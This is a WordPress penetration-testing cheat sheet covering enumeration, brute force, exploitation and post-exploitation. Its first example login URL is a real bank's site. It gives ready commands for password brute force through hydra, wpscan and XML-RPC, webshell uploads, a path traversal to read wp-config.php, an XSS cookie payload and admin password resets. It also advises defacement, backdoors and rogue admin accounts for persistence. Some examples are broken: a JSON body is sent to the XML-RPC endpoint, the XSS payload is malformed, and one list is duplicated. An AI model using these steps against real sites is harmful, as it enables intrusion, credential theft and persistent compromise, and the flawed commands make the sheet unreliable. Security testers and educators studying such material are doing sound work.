WordPress Pentesting

🔍 SCANNING & ENUMERATION PHASE

Find Login Page

https://www.mcbislamicbank.com/wp-login.php
https://www.mcbislamicbank.com/wp-admin/install.php

Find Users

https://website.com/wp-json/wp/v2/users
https://website.com/?author=1

PORT SCANNING

Use Nmap aggressive scan:

nmap (aggressive full-port scan)

nmap -p- -sV -sC -T4 --script=http-wordpress-enum --script=http-enum <IP>

Important ports:

• 80 / 443 — WordPress website

• 22 — SSH (for bruteforce after WP compromise)

• 3306 — MySQL (if exposed = critical)

Useful NSE scripts:

nmap (http-wordpress-*)

nmap -p80,443 --script "http-wordpress-*" <IP>

---

WORDPRESS VERSION ENUMERATION

Passive enumeration: check page source for generator meta tag:

Check these common files/paths:

• /readme.html

• /wp-links-opml.php

• /wp-includes/version.php

(Embedded image retained)

WPScan example:

wpscan (enumerate plugins/themes)

wpscan --url http://target.com/ --enumerate ap --api-token TOKEN

---

ENUMERATE REST API

Common endpoints:

• /wp-json/

• /wp-json/wp/v2/users

• /wp-json/wp/v2/posts

• /wp-json/wp/v2/pages

Possible leakage:

• Usernames

• Email

• Post IDs (useful for XSS testing)

• Plugin endpoints

REST API version → WordPress version → CMS fingerprinting.

---

ENUMERATE DIRECTORIES (Dirsearch / ffuf)

Dirsearch:

dirsearch

dirsearch -u http://target.com/ -e php,txt,zip,html -t 60

ffuf

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ

Important directories to check:

• /wp-content/

• /wp-content/plugins/

• /wp-content/themes/

• /wp-admin/

• /wp-includes/

• /uploads/

• /backup/

• /config/

• /logs/

---

ENUMERATE USERS

Common paths and techniques:

• /wp-content/

• /wp-content/plugins/

• /wp-content/themes/

• /wp-admin/

• /wp-includes/

• /uploads/

• /backup/

• /config/

• /logs/

WPScan user enumeration:

wpscan (users)

wpscan --url http://target.com/ --enumerate u

Manual enumeration:

• REST API leaking: /wp-json/wp/v2/users

• Author archive enumeration:

  • /?author=1

  • /?author=2

If redirected → you can get username in URL: /author/admin/ or /author/john/

---

ENUMERATE PLUGINS

Plugins are the No.1 vulnerability source.

Manual checks:

• /wp-content/plugins/

• /wp-content/plugins/plugin-name/readme.txt

• /wp-content/plugins/plugin-name/changelog.txt

WPScan plugin enumeration:

wpscan (enumerate plugins)

wpscan --url http://target.com/ --enumerate ap

---

ENUMERATE THEMES

Similar approach:

• /wp-content/themes/

• /wp-content/themes/theme-name/style.css

Look for:

• Theme Name

• Version

• Author

---

ENUMERATE XML-RPC

Check:

• /xmlrpc.php

If enabled, XML-RPC can be used for:

• Bruteforce

• Pingback attacks

• SSRF

• DOS (pingback amplification)

Check with curl:

xmlrpc method list

curl -d '<methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

---

CMS Wordlists & WordPress-Specific Wordlists

Paths:

• /usr/share/wordlists/wpscan/

• /usr/share/wordlists/dirbuster/

• /usr/share/seclists/Discovery/Web-Content/CMS/

Use WordPress-specific fuzz wordlists: plugins.txt, themes.txt, wp-paths.txt

---

🛡 WORDPRESS VULNERABILITY SCANNING USING WPSCAN

WPScan is the official WordPress scanner.

Basic scan:

wpscan (basic)

wpscan --url http://target.com/

Enumerate everything:

wpscan (full enumerate)

wpscan --url http://target.com/ --enumerate u,p,t,cb,dbe

(Embedded image retained)

Options (wpscan):

• users

• plugins

• themes

• config backups (cb)

• DB exports (dbe)

Use API for vulnerability detection:

wpscan (API token)

wpscan --url http://target.com/ --api-token YOUR_TOKEN

Skip passive detection & go aggressive:

wpscan (aggressive plugin detection)

wpscan --url http://target.com/ --plugins-detection aggressive

---

🔓 WORDPRESS BRUTEFORCE ATTACKS

wp-login.php bruteforce

WPScan bruteforce:

wpscan (bruteforce wp-login)

wpscan --url http://target.com/ -U users.txt -P rockyou.txt

Hydra:

hydra (http-post-form)

hydra -L users.txt -P passwords.txt target.com http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid"

cURL brute (example):

curl (simple POST)

curl -d "log=admin&pwd=password123" http://target.com/wp-login.php

XML-RPC Bruteforce (More Dangerous)

XML-RPC allows multi-password attempts in one request — more efficient and noisier.

Check a simple authentication call (example):

xmlrpc wp.getUsersBlogs (single attempt)

curl -d '{
"methodCall": {
 "methodName": "wp.getUsersBlogs",
 "params": [{"username":"admin", "password":"123"}]
}}' http://target.com/xmlrpc.php

Bruteforce with WPScan (XML-RPC):

wpscan (xmlrpc password attack)

wpscan --url http://target.com/ -P rockyou.txt -U admin --password-attack xmlrpc

REST API enumeration leads to bruteforce

If usernames leak via /wp-json/wp/v2/users then typical accounts to try:

• admin

• editor

• author

(Embedded small image retained)

---

💣 EXPLOITING WORDPRESS

Here are the TOP vulnerability types.

⭐ 4.1 Arbitrary File Upload (Plugins/Themes)

Common vulnerable plugins:

• WP Store Cart

• Slider Revolution (revslider)

• TimThumb

• Theme uploaders

• Custom file upload widgets

Typical exploit path:

• /wp-content/uploads/wpstorecart/products/shell.php

• /wp-admin/admin-ajax.php (using vulnerable handler)

Bypass possibilities:

• extension filters

• MIME checks

• upload restrictions

Upload examples:

• shell.php

• shell.php.jpg

• shell.phtml

• image.jpg.php

Execute:

• http://target/wp-content/uploads/.../shell.php?cmd=id

---

⭐ 4.2 WordPress RCE Exploits

Most RCEs come from:

• File upload bugs

• Theme editor access

• Plugin vulnerabilities

• Deserialization vulnerabilities

• Unauthenticated Ajax function handlers

• Vulnerable REST API endpoints

Example (revslider):

• /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

---

⭐ 4.3 XSS Attacks

Common XSS locations:

• Comments section

• Contact Forms

• Search boxes

• Vulnerable plugins (forum plugins, gallery plugins)

• Page builders

Payload example:

• ">alert(document.cookie)

Stored XSS in WP can give:

• Admin session

• Privilege escalation

• Add new admin user

• Inject backdoors

---

⭐ 4.4 Privilege Escalation

Ways to escalate:

• XSS in admin panel

• Weak roles/capabilities

• wp-config backup leakage

• Vulnerable plugins with admin Ajax (example: /wp-admin/admin-ajax.php?action=upload_file → leads to RCE)

---

⭐ 4.5 Database Access (MySQL)

If you obtain DB creds from wp-config.php then connect:

mysql client

mysql -u wpuser -p -h target.com

Change admin password (example):

SQL (update password)

UPDATE wp_users SET user_pass=MD5('newpass') WHERE user_login='admin';

---

⭐ 4.6 Credential Harvesting via XMLRPC Pingback SSRF

XML-RPC can be abused for SSRF/internal port scanning via pingback.ping and to harvest credentials or access internal resources.

Exploit example:

• xmlrpc.php?pingback.ping → internal port scanning / SSRF

---

⭐ 4.7 Theme/Plugin Editor → RCE

If logged in (admin) and theme/plugin editor is available:

Example: modify theme functions.php with a system() call:

Access:

• /wp-content/themes/theme/functions.php?cmd=id

---

👤 WORDPRESS BLACK-BOX PENTESTING FRAMEWORK

Hereʼs the complete methodology in order, presented as a stepper.

1

Phase 1 — Recon & Discovery

• Nmap full scan

• Identify WordPress

• Enumerate:

  • version

  • themes

  • plugins

  • users

  • endpoints

  • directories

  • XML-RPC

Tools:

• WPScan

• WhatWeb

• Wappalyzer

• ffuf

• dirsearch

2

Phase 2 — Vulnerability Analysis

Check for:

• Outdated WordPress version

• Outdated plugins/themes

• Known CVEs

• Exposed wp-config(.bak/.old)

• Backup files (wp-config.php~, etc.)

• Directory listing

• Misconfigured permissions

3

Phase 3 — Exploitation

Try:

• Bruteforce

  • wp-login

  • xmlrpc multi-call

• Arbitrary File Upload (plugins/themes/ajax endpoints)

• LFI / RFI via vulnerable plugin loaders

• XSS → Admin takeover (comments, plugins)

• RCE (file upload, theme/plugin editor, deserialization)

4

Phase 4 — Post Exploitation

Once shell obtained:

• Dump MySQL DB

• Steal wp-config creds

• Add new WP admin

• Modify homepage (deface for demo)

• Maintain persistence:

  • Add new admin

  • Upload backdoor in uploads/

  • Modify theme functions.php

5

Phase 5 — Reporting

Document:

• Vulnerability

• Proof of Concept (PoC)

• Impact

• Fix recommendation

---

🎯 FINAL SUMMARY

WordPress Pentesting → Enumeration → Vulnerability Discovery → Exploitation → Post-Exploitation.

• WPScan is the core tool for enumeration and vulnerability scanning.

• Biggest weaknesses come from Plugins & Themes.

• Most real attacks: Arbitrary File Upload → Webshell → RCE.

Created By: https://linkedin.com/in/parosh-sec

(All images embedded as in the original content remain intact.)